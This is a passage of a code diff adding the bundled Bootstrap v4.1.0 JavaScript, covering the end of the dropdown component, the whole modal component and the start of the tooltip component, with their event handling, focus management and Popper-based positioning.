= function (data) { + data.offsets = _objectSpread({}, data.offsets, _this2._config.offset(data.offsets) || {}); + return data; + }; + } else { + offsetConf.offset = this._config.offset; + } + + var popperConfig = { + placement: this._getPlacement(), + modifiers: { + offset: offsetConf, + flip: { + enabled: this._config.flip + }, + preventOverflow: { + boundariesElement: this._config.boundary + } + } // Disable Popper.js if we have a static display + + }; + + if (this._config.display === 'static') { + popperConfig.modifiers.applyStyle = { + enabled: false + }; + } + + return popperConfig; + }; // Static + + + Dropdown._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = typeof config === 'object' ? config : null; + + if (!data) { + data = new Dropdown(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + Dropdown._clearMenus = function _clearMenus(event) { + if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH || event.type === 'keyup' && event.which !== TAB_KEYCODE)) { + return; + } + + var toggles = $$$1.makeArray($$$1(Selector.DATA_TOGGLE)); + + for (var i = 0; i < toggles.length; i++) { + var parent = Dropdown._getParentFromElement(toggles[i]); + + var context = $$$1(toggles[i]).data(DATA_KEY); + var relatedTarget = { + relatedTarget: toggles[i] + }; + + if (!context) { + continue; + } + + var dropdownMenu = context._menu; + + if (!$$$1(parent).hasClass(ClassName.SHOW)) { + continue; + } + + if (event && (event.type === 'click' && /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) && $$$1.contains(parent, event.target)) { + continue; + } + + var hideEvent = $$$1.Event(Event.HIDE, relatedTarget); + $$$1(parent).trigger(hideEvent); + + if (hideEvent.isDefaultPrevented()) { + continue; + } // If this is a touch-enabled device we remove the extra + // empty mouseover listeners we added for iOS support + + + if ('ontouchstart' in document.documentElement) { + $$$1(document.body).children().off('mouseover', null, $$$1.noop); + } + + toggles[i].setAttribute('aria-expanded', 'false'); + $$$1(dropdownMenu).removeClass(ClassName.SHOW); + $$$1(parent).removeClass(ClassName.SHOW).trigger($$$1.Event(Event.HIDDEN, relatedTarget)); + } + }; + + Dropdown._getParentFromElement = function _getParentFromElement(element) { + var parent; + var selector = Util.getSelectorFromElement(element); + + if (selector) { + parent = $$$1(selector)[0]; + } + + return parent || element.parentNode; + }; // eslint-disable-next-line complexity + + + Dropdown._dataApiKeydownHandler = function _dataApiKeydownHandler(event) { + // If not input/textarea: + // - And not a key in REGEXP_KEYDOWN => not a dropdown command + // If input/textarea: + // - If space key => not a dropdown command + // - If key is other than escape + // - If key is not up or down => not a dropdown command + // - If trigger inside the menu => not a dropdown command + if (/input|textarea/i.test(event.target.tagName) ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE && (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE || $$$1(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) { + return; + } + + event.preventDefault(); + event.stopPropagation(); + + if (this.disabled || $$$1(this).hasClass(ClassName.DISABLED)) { + return; + } + + var parent = Dropdown._getParentFromElement(this); + + var isActive = $$$1(parent).hasClass(ClassName.SHOW); + + if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) || isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) { + if (event.which === ESCAPE_KEYCODE) { + var toggle = $$$1(parent).find(Selector.DATA_TOGGLE)[0]; + $$$1(toggle).trigger('focus'); + } + + $$$1(this).trigger('click'); + return; + } + + var items = $$$1(parent).find(Selector.VISIBLE_ITEMS).get(); + + if (items.length === 0) { + return; + } + + var index = items.indexOf(event.target); + + if (event.which === ARROW_UP_KEYCODE && index > 0) { + // Up + index--; + } + + if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { + // Down + index++; + } + + if (index < 0) { + index = 0; + } + + items[index].focus(); + }; + + _createClass(Dropdown, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType; + } + }]); + + return Dropdown; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler).on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler).on(Event.CLICK_DATA_API + " " + Event.KEYUP_DATA_API, Dropdown._clearMenus).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) { + event.preventDefault(); + event.stopPropagation(); + + Dropdown._jQueryInterface.call($$$1(this), 'toggle'); + }).on(Event.CLICK_DATA_API, Selector.FORM_CHILD, function (e) { + e.stopPropagation(); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Dropdown._jQueryInterface; + $$$1.fn[NAME].Constructor = Dropdown; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Dropdown._jQueryInterface; + }; + + return Dropdown; + }($, Popper); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): modal.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Modal = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'modal'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.modal'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key + + var Default = { + backdrop: true, + keyboard: true, + focus: true, + show: true + }; + var DefaultType = { + backdrop: '(boolean|string)', + keyboard: 'boolean', + focus: 'boolean', + show: 'boolean' + }; + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + FOCUSIN: "focusin" + EVENT_KEY, + RESIZE: "resize" + EVENT_KEY, + CLICK_DISMISS: "click.dismiss" + EVENT_KEY, + KEYDOWN_DISMISS: "keydown.dismiss" + EVENT_KEY, + MOUSEUP_DISMISS: "mouseup.dismiss" + EVENT_KEY, + MOUSEDOWN_DISMISS: "mousedown.dismiss" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + SCROLLBAR_MEASURER: 'modal-scrollbar-measure', + BACKDROP: 'modal-backdrop', + OPEN: 'modal-open', + FADE: 'fade', + SHOW: 'show' + }; + var Selector = { + DIALOG: '.modal-dialog', + DATA_TOGGLE: '[data-toggle="modal"]', + DATA_DISMISS: '[data-dismiss="modal"]', + FIXED_CONTENT: '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top', + STICKY_CONTENT: '.sticky-top', + NAVBAR_TOGGLER: '.navbar-toggler' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Modal = + /*#__PURE__*/ + function () { + function Modal(element, config) { + this._config = this._getConfig(config); + this._element = element; + this._dialog = $$$1(element).find(Selector.DIALOG)[0]; + this._backdrop = null; + this._isShown = false; + this._isBodyOverflowing = false; + this._ignoreBackdropClick = false; + this._scrollbarWidth = 0; + } // Getters + + + var _proto = Modal.prototype; + + // Public + _proto.toggle = function toggle(relatedTarget) { + return this._isShown ? this.hide() : this.show(relatedTarget); + }; + + _proto.show = function show(relatedTarget) { + var _this = this; + + if (this._isTransitioning || this._isShown) { + return; + } + + if ($$$1(this._element).hasClass(ClassName.FADE)) { + this._isTransitioning = true; + } + + var showEvent = $$$1.Event(Event.SHOW, { + relatedTarget: relatedTarget + }); + $$$1(this._element).trigger(showEvent); + + if (this._isShown || showEvent.isDefaultPrevented()) { + return; + } + + this._isShown = true; + + this._checkScrollbar(); + + this._setScrollbar(); + + this._adjustDialog(); + + $$$1(document.body).addClass(ClassName.OPEN); + + this._setEscapeEvent(); + + this._setResizeEvent(); + + $$$1(this._element).on(Event.CLICK_DISMISS, Selector.DATA_DISMISS, function (event) { + return _this.hide(event); + }); + $$$1(this._dialog).on(Event.MOUSEDOWN_DISMISS, function () { + $$$1(_this._element).one(Event.MOUSEUP_DISMISS, function (event) { + if ($$$1(event.target).is(_this._element)) { + _this._ignoreBackdropClick = true; + } + }); + }); + + this._showBackdrop(function () { + return _this._showElement(relatedTarget); + }); + }; + + _proto.hide = function hide(event) { + var _this2 = this; + + if (event) { + event.preventDefault(); + } + + if (this._isTransitioning || !this._isShown) { + return; + } + + var hideEvent = $$$1.Event(Event.HIDE); + $$$1(this._element).trigger(hideEvent); + + if (!this._isShown || hideEvent.isDefaultPrevented()) { + return; + } + + this._isShown = false; + var transition = $$$1(this._element).hasClass(ClassName.FADE); + + if (transition) { + this._isTransitioning = true; + } + + this._setEscapeEvent(); + + this._setResizeEvent(); + + $$$1(document).off(Event.FOCUSIN); + $$$1(this._element).removeClass(ClassName.SHOW); + $$$1(this._element).off(Event.CLICK_DISMISS); + $$$1(this._dialog).off(Event.MOUSEDOWN_DISMISS); + + if (transition) { + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $$$1(this._element).one(Util.TRANSITION_END, function (event) { + return _this2._hideModal(event); + }).emulateTransitionEnd(transitionDuration); + } else { + this._hideModal(); + } + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + $$$1(window, document, this._element, this._backdrop).off(EVENT_KEY); + this._config = null; + this._element = null; + this._dialog = null; + this._backdrop = null; + this._isShown = null; + this._isBodyOverflowing = null; + this._ignoreBackdropClick = null; + this._scrollbarWidth = null; + }; + + _proto.handleUpdate = function handleUpdate() { + this._adjustDialog(); + }; // Private + + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + Util.typeCheckConfig(NAME, config, DefaultType); + return config; + }; + + _proto._showElement = function _showElement(relatedTarget) { + var _this3 = this; + + var transition = $$$1(this._element).hasClass(ClassName.FADE); + + if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) { + // Don't move modal's DOM position + document.body.appendChild(this._element); + } + + this._element.style.display = 'block'; + + this._element.removeAttribute('aria-hidden'); + + this._element.scrollTop = 0; + + if (transition) { + Util.reflow(this._element); + } + + $$$1(this._element).addClass(ClassName.SHOW); + + if (this._config.focus) { + this._enforceFocus(); + } + + var shownEvent = $$$1.Event(Event.SHOWN, { + relatedTarget: relatedTarget + }); + + var transitionComplete = function transitionComplete() { + if (_this3._config.focus) { + _this3._element.focus(); + } + + _this3._isTransitioning = false; + $$$1(_this3._element).trigger(shownEvent); + }; + + if (transition) { + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $$$1(this._dialog).one(Util.TRANSITION_END, transitionComplete).emulateTransitionEnd(transitionDuration); + } else { + transitionComplete(); + } + }; + + _proto._enforceFocus = function _enforceFocus() { + var _this4 = this; + + $$$1(document).off(Event.FOCUSIN) // Guard against infinite focus loop + .on(Event.FOCUSIN, function (event) { + if (document !== event.target && _this4._element !== event.target && $$$1(_this4._element).has(event.target).length === 0) { + _this4._element.focus(); + } + }); + }; + + _proto._setEscapeEvent = function _setEscapeEvent() { + var _this5 = this; + + if (this._isShown && this._config.keyboard) { + $$$1(this._element).on(Event.KEYDOWN_DISMISS, function (event) { + if (event.which === ESCAPE_KEYCODE) { + event.preventDefault(); + + _this5.hide(); + } + }); + } else if (!this._isShown) { + $$$1(this._element).off(Event.KEYDOWN_DISMISS); + } + }; + + _proto._setResizeEvent = function _setResizeEvent() { + var _this6 = this; + + if (this._isShown) { + $$$1(window).on(Event.RESIZE, function (event) { + return _this6.handleUpdate(event); + }); + } else { + $$$1(window).off(Event.RESIZE); + } + }; + + _proto._hideModal = function _hideModal() { + var _this7 = this; + + this._element.style.display = 'none'; + + this._element.setAttribute('aria-hidden', true); + + this._isTransitioning = false; + + this._showBackdrop(function () { + $$$1(document.body).removeClass(ClassName.OPEN); + + _this7._resetAdjustments(); + + _this7._resetScrollbar(); + + $$$1(_this7._element).trigger(Event.HIDDEN); + }); + }; + + _proto._removeBackdrop = function _removeBackdrop() { + if (this._backdrop) { + $$$1(this._backdrop).remove(); + this._backdrop = null; + } + }; + + _proto._showBackdrop = function _showBackdrop(callback) { + var _this8 = this; + + var animate = $$$1(this._element).hasClass(ClassName.FADE) ? ClassName.FADE : ''; + + if (this._isShown && this._config.backdrop) { + this._backdrop = document.createElement('div'); + this._backdrop.className = ClassName.BACKDROP; + + if (animate) { + $$$1(this._backdrop).addClass(animate); + } + + $$$1(this._backdrop).appendTo(document.body); + $$$1(this._element).on(Event.CLICK_DISMISS, function (event) { + if (_this8._ignoreBackdropClick) { + _this8._ignoreBackdropClick = false; + return; + } + + if (event.target !== event.currentTarget) { + return; + } + + if (_this8._config.backdrop === 'static') { + _this8._element.focus(); + } else { + _this8.hide(); + } + }); + + if (animate) { + Util.reflow(this._backdrop); + } + + $$$1(this._backdrop).addClass(ClassName.SHOW); + + if (!callback) { + return; + } + + if (!animate) { + callback(); + return; + } + + var backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop); + $$$1(this._backdrop).one(Util.TRANSITION_END, callback).emulateTransitionEnd(backdropTransitionDuration); + } else if (!this._isShown && this._backdrop) { + $$$1(this._backdrop).removeClass(ClassName.SHOW); + + var callbackRemove = function callbackRemove() { + _this8._removeBackdrop(); + + if (callback) { + callback(); + } + }; + + if ($$$1(this._element).hasClass(ClassName.FADE)) { + var _backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop); + + $$$1(this._backdrop).one(Util.TRANSITION_END, callbackRemove).emulateTransitionEnd(_backdropTransitionDuration); + } else { + callbackRemove(); + } + } else if (callback) { + callback(); + } + }; // ---------------------------------------------------------------------- + // the following methods are used to handle overflowing modals + // todo (fat): these should probably be refactored out of modal.js + // ---------------------------------------------------------------------- + + + _proto._adjustDialog = function _adjustDialog() { + var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight; + + if (!this._isBodyOverflowing && isModalOverflowing) { + this._element.style.paddingLeft = this._scrollbarWidth + "px"; + } + + if (this._isBodyOverflowing && !isModalOverflowing) { + this._element.style.paddingRight = this._scrollbarWidth + "px"; + } + }; + + _proto._resetAdjustments = function _resetAdjustments() { + this._element.style.paddingLeft = ''; + this._element.style.paddingRight = ''; + }; + + _proto._checkScrollbar = function _checkScrollbar() { + var rect = document.body.getBoundingClientRect(); + this._isBodyOverflowing = rect.left + rect.right < window.innerWidth; + this._scrollbarWidth = this._getScrollbarWidth(); + }; + + _proto._setScrollbar = function _setScrollbar() { + var _this9 = this; + + if (this._isBodyOverflowing) { + // Note: DOMNode.style.paddingRight returns the actual value or '' if not set + // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set + // Adjust fixed content padding + $$$1(Selector.FIXED_CONTENT).each(function (index, element) { + var actualPadding = $$$1(element)[0].style.paddingRight; + var calculatedPadding = $$$1(element).css('padding-right'); + $$$1(element).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + _this9._scrollbarWidth + "px"); + }); // Adjust sticky content margin + + $$$1(Selector.STICKY_CONTENT).each(function (index, element) { + var actualMargin = $$$1(element)[0].style.marginRight; + var calculatedMargin = $$$1(element).css('margin-right'); + $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) - _this9._scrollbarWidth + "px"); + }); // Adjust navbar-toggler margin + + $$$1(Selector.NAVBAR_TOGGLER).each(function (index, element) { + var actualMargin = $$$1(element)[0].style.marginRight; + var calculatedMargin = $$$1(element).css('margin-right'); + $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) + _this9._scrollbarWidth + "px"); + }); // Adjust body padding + + var actualPadding = document.body.style.paddingRight; + var calculatedPadding = $$$1(document.body).css('padding-right'); + $$$1(document.body).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + this._scrollbarWidth + "px"); + } + }; + + _proto._resetScrollbar = function _resetScrollbar() { + // Restore fixed content padding + $$$1(Selector.FIXED_CONTENT).each(function (index, element) { + var padding = $$$1(element).data('padding-right'); + + if (typeof padding !== 'undefined') { + $$$1(element).css('padding-right', padding).removeData('padding-right'); + } + }); // Restore sticky content and navbar-toggler margin + + $$$1(Selector.STICKY_CONTENT + ", " + Selector.NAVBAR_TOGGLER).each(function (index, element) { + var margin = $$$1(element).data('margin-right'); + + if (typeof margin !== 'undefined') { + $$$1(element).css('margin-right', margin).removeData('margin-right'); + } + }); // Restore body padding + + var padding = $$$1(document.body).data('padding-right'); + + if (typeof padding !== 'undefined') { + $$$1(document.body).css('padding-right', padding).removeData('padding-right'); + } + }; + + _proto._getScrollbarWidth = function _getScrollbarWidth() { + // thx d.walsh + var scrollDiv = document.createElement('div'); + scrollDiv.className = ClassName.SCROLLBAR_MEASURER; + document.body.appendChild(scrollDiv); + var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth; + document.body.removeChild(scrollDiv); + return scrollbarWidth; + }; // Static + + + Modal._jQueryInterface = function _jQueryInterface(config, relatedTarget) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = _objectSpread({}, Modal.Default, $$$1(this).data(), typeof config === 'object' && config); + + if (!data) { + data = new Modal(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](relatedTarget); + } else if (_config.show) { + data.show(relatedTarget); + } + }); + }; + + _createClass(Modal, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return Modal; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) { + var _this10 = this; + + var target; + var selector = Util.getSelectorFromElement(this); + + if (selector) { + target = $$$1(selector)[0]; + } + + var config = $$$1(target).data(DATA_KEY) ? 'toggle' : _objectSpread({}, $$$1(target).data(), $$$1(this).data()); + + if (this.tagName === 'A' || this.tagName === 'AREA') { + event.preventDefault(); + } + + var $target = $$$1(target).one(Event.SHOW, function (showEvent) { + if (showEvent.isDefaultPrevented()) { + // Only register focus restorer if modal will actually get shown + return; + } + + $target.one(Event.HIDDEN, function () { + if ($$$1(_this10).is(':visible')) { + _this10.focus(); + } + }); + }); + + Modal._jQueryInterface.call($$$1(target), config, this); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Modal._jQueryInterface; + $$$1.fn[NAME].Constructor = Modal; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Modal._jQueryInterface; + }; + + return Modal; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): tooltip.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Tooltip = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'tooltip'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.tooltip'; + var EVENT_KEY = "." + DATA_KEY; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var CLASS_PREFIX = 'bs-tooltip'; + var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g'); + var DefaultType = { + animation: 'boolean', + template: 'string', + title: '(string|element|function)', + trigger: 'string', + delay: '(number|object)', + html: 'boolean', + selector: '(string|boolean)', + placement: '(string|function)', + offset: '(number|string)', + container: '(string|element|boolean)', + fallbackPlacement: '(string|array)', + boundary: '(string|element)' + }; + var AttachmentMap = { + AUTO: 'auto', + TOP: 'top', + RIGHT: 'right', + BOTTOM: 'bottom', + LEFT: 'left' + }; + var Default = { + animation: true, + template: '<div class="tooltip" role="tooltip">' + '<div class="arrow"></div>' + '<div class="tooltip-inner"></div></div>', + trigger: 'hover focus', + title: '', + delay: 0, + html: false, + selector: false, + placement: 'top', + offset: 0, + container: false, + fallbackPlacement: 'flip', + boundary: 'scrollParent' + }; + var HoverState = { + SHOW: 'show', + OUT: 'out' + }; + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + INSERTED: "inserted" + EVENT_KEY, + CLICK: "click" + EVENT_KEY, + FOCUSIN: "focusin" + EVENT_KEY, + FOCUSOUT: "focusout" + EVENT_KEY, + MOUSEENTER: "mouseenter" + EVENT_KEY, + MOUSELEAVE: "mouseleave" + EVENT_KEY + }; + var ClassName = { + FADE: 'fade', + SHOW: 'show' + }; + var Selector = { + TOOLTIP: '.tooltip', + TOOLTIP_INNER: '.tooltip-inner', + ARROW: '.arrow' + }; + var Trigger = { + HOVER: 'hover', + FOCUS: 'focus', + CLICK: 'click', + MANUAL: 'manual' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Tooltip = + /*#__PURE__*/ + function () { + function Tooltip(element, config) { + /** + * Check for Popper dependency + * Popper - https://popper.js.org + */ + if (typeof Popper === 'undefined') { + throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)'); + } // private + + + this._isEnabled = true; + this._timeout = 0; + this._hoverState = ''; + this._activeTrigger = {}; + this._popper = null; // Protected + + this.element = element; + this.config = this._getConfig(config); + this.tip = null; + + this._setListeners(); + } // Getters + + + var _proto = Tooltip.prototype; + + // Public + _proto.enable = function enable() { + this._isEnabled = true; + }; + + _proto.disable = function disable() { + this._isEnabled = false; + }; + + _proto.toggleEnabled = function toggleEnabled() { + this._isEnabled = !this._isEnabled; + }; + + _proto.toggle = function toggle(event) { + if (!this._isEnabled) { + return; + } + + if (event) { + var dataKey = this.constructor.DATA_KEY; + var context = $$$1(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $$$1(event.currentTarget).data(dataKey, context); + } + + context._activeTrigger.click = !context._activeTrigger.click; + + if (context._isWithActiveTrigger()) { + context._enter(null, context); + } else { + context._leave(null, context); + } + } else { + if ($$$1(this.getTipElement()).hasClass(ClassName.SHOW)) { + this._leave(null, this); + + return; + } + + this._enter(null, this); + } + }; + + _proto.dispose = function dispose() { + clearTimeout(this._timeout); + $$$1.removeData(this.element, this.constructor.DATA_KEY); + $$$1(this.element).off(this.constructor.EVENT_KEY); + $$$1(this.element).closest('.modal').off('hide.bs.modal'); + + if (this.tip) { + $$$1(this.tip).remove(); + } + + this._isEnabled = null; + this._timeout = null; + this._hoverState = null; + this._activeTrigger = null; + + if (this._popper !== null) { + this._popper.destroy(); + } + + this._popper = null; + this.element = null; + this.config = null; + this.tip = null; + }; + + _proto.show = function show() { + var _this = this; + + if ($$$1(this.element).css('display') === 'none') { + throw new Error('Please use show on visible elements'); + } + + var showEvent = $$$1.Event(this.constructor.Event.SHOW); + + if (this.isWithContent() && this._isEnabled) { + $$$1(this.element).trigger(showEvent); + var isInTheDom = $$$1.contains(this.element.ownerDocument.documentElement, this.element); + + if (showEvent.isDefaultPrevented() || !isInTheDom) { + return; + } + + var tip = this.getTipElement(); + var tipId = Util.getUID(this.constructor.NAME); + tip.setAttribute('id', tipId); + this.element.setAttribute('aria-describedby', tipId); + this.setContent(); + + if (this.config.animation) { + $$$1(tip).addClass(ClassName.FADE); + } + + var placement = typeof this.config.placement === 'function' ? this.config.placement.call(this, tip, this.element) : this.config.placement; + + var attachment = this._getAttachment(placement); + + this.addAttachmentClass(attachment); + var container = this.config.container === false ? document.body : $$$1(this.config.container); + $$$1(tip).data(this.constructor.DATA_KEY, this); + + if (!$$$1.contains(this.element.ownerDocument.documentElement, this.tip)) { + $$$1(tip).appendTo(container); + } + + $$$1(this.element).trigger(this.constructor.Event.INSERTED); + this._popper = new Popper(this.element, tip, { + placement: attachment, + modifiers: { + offset: { + offset: this.config.offset + }, + flip: { + behavior: this.config.fallbackPlacement + }, + arrow: { + element: Selector.ARROW + }, + preventOverflow: { + boundariesElement: this.config.boundary + } + }, + onCreate: function onCreate(data) { + if (data.originalPlacement !== data.placement) { + _this._handlePopperPlacementChange(data); + } + }, + onUpdate: function onUpdate(data) { + _this._handlePopperPlacementChange(data); + } + }); + $$$1(tip).addClass(ClassName.SHOW); // If this is a touch-enabled device we add extra + // empty mouseover listeners to the body's immediate children; + // only needed because of broken event delegation on iOS + // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html + + if ('ontouchstart' in document.documentElement) { + $$$1(document.body).children().on('mouseover', null, $$$1.noop); + } + + var complete = function complete() { + if (_this.config.animation) { + _this._fixTransition(); + } + + var prevHoverState = _this._hoverState; + _this._hoverState = null; + $$$1(_this.element).trigger(_this.constructor.Event.SHOWN); + + if (prevHoverState === HoverState.OUT) { + _this._leave(null, _this); + } + }; + + if ($$$1(this.tip).hasClass(ClassName.FADE)) { + var transitionDuration = Util.getTransitionDurationFromElement(this.tip); + $$$1(this.tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + } else { + complete(); + } + } + }; + + _proto.hide = function hide(callback) { + var _this2 = this; + + var tip = this.getTipElement(); + var hideEvent = $$$1.Event(this.constructor.Event.HIDE); + + var complete = function complete() { + if (_this2._hoverState !== HoverState.SHOW && tip.parentNode) { + tip.parentNode.removeChild(tip); + } + + _this2._cleanTipClass(); + + _this2.element.removeAttribute('aria-describedby'); + + $$$1(_this2.element).trigger(_this2.constructor.Event.HIDDEN); + + if (_this2._popper !== null) { + _this2._popper.destroy(); + } + + if (callback) { + callback(); + } + }; + + $$$1(this.element).trigger(hideEvent); + + if (hideEvent.isDefaultPrevented()) { + return; + } + + $$$1(tip).removeClass(ClassName.SHOW); // If this is a touch-enabled device we remove the extra + // empty mouseover listeners we added for iOS support + + if ('ontouchstart' in document.documentElement) { + $$$1(document.body).children().off('mouseover', null, $$$1.noop); + } + + this._activeTrigger[Trigger.CLICK] = false; + this._activeTrigger[Trigger.FOCUS] = false; + this._activeTrigger[Trigger.HOVER] = false; + + if ($$$1(this.tip).hasClass(ClassName.FADE)) { + var transitionDuration = Util.getTransitionDurationFromElement(tip); + $$$1(tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + } else { + complete(); + } + + this._hoverState = ''; + }; + + _proto.update = function update() { + if (this._popper !== null) { + this._popper.scheduleUpdate(); + } + }; // Protected + + + _proto.isWithContent = function isWithContent() { + return Boolean(this.getTitle()); + }; + + _proto.addAttachmentClass = function addAttachmentClass(attachment) { + $$$1(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment); + }; + + _proto.getTipElement = function getTipElement() { + this.tip = this.tip || $$$1(this.config.template)[0]; + return this.tip; + }; + + _proto.setContent = function setContent() { + var $tip = $$$1(this.getTipElement()); + this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle()); + $tip.removeClass(ClassName.FADE + " " + ClassName.SHOW); + }; + + _proto.setElementContent = function setElementContent($element, content) { + var html = this.config.html; + + if (typeof content === 'object' && (content.nodeType || content.jquery)) { + // Content is a DOM node or a jQuery + if (html) { + if (!$$$1(content).parent().is($element)) { + $element.empty().append(content); + } + } else { + $element.text($$$1(content).text()); + } + } else { + $element[html ? 'html' : 'text'](content); + } + }; + + _proto.getTitle = function getTitle() { + var title = this.element.getAttribute('data-original-title'); + + if (!title) { + title = typeof this.config.title === 'function' ? this.config.title.call(this.element) : this.config.title; + } + + return title; + }; // Private + + + _proto._getAttachment = function _getAttachment(placement) { + return AttachmentMap[placement.toUpperCase()]; + }; + + _proto._setListeners = function _setListeners() { + var _this3 = this; + + var triggers = this.config.trigger.split(' '); + triggers.forEach(function (trigger) { + if (trigger === 'click') { + $$$1(_this3.element).on(_this3.constructor.Event.CLICK, _this3.config.selector, function (event) { + return _this3.toggle(event); + }); + } else if (trigger !== Trigger.MANUAL) { + var eventIn = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSEENTER : _this3.constructor.Event.FOCUSIN; + var eventOut = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSELEAVE : _this3.constructor.Event.FOCUSOUT; + $$$1(_this3.element).on(eventIn, _this3.config.selector, function (event) { + return _this3._enter(event); + }).on(eventOut, _this3.config.selector, function (event) { + return _this3._leave(event); + }); + } + + $$$1(_this3.element).closest('.modal').on('hide.bs.modal', function () { + return _this3.hide(); + }); + }); + + if (this.config.selector) { + this.config = _objectSpread({}, this.config, { + trigger: 'manual', + selector: '' + }); + } else { + this._fixTitle(); + } + }; + + _proto._fixTitle = function _fixTitle() { + var titleType = typeof this.element.getAttribute('data-original-title'); + + if (this.element.getAttribute('title') || titleType !== 'string') { + this.element.setAttribute('data-original-title', this.element.getAttribute('title') || ''); + this.element.setAttribute('title', ''); + } + }; + + _proto._enter = function _enter(event, context) { + var dataKey = this.constructor.DATA_KEY; + context = context || $$$1(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $$$1(event.currentTarget).data(dataKey, context); + } + + if (event) { + context._activeTrigger[event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER] = true; + } + + if ($$$1(context.getTipElement()).hasClass(ClassName.SHOW) || context._hoverState === HoverState.SHOW) { + 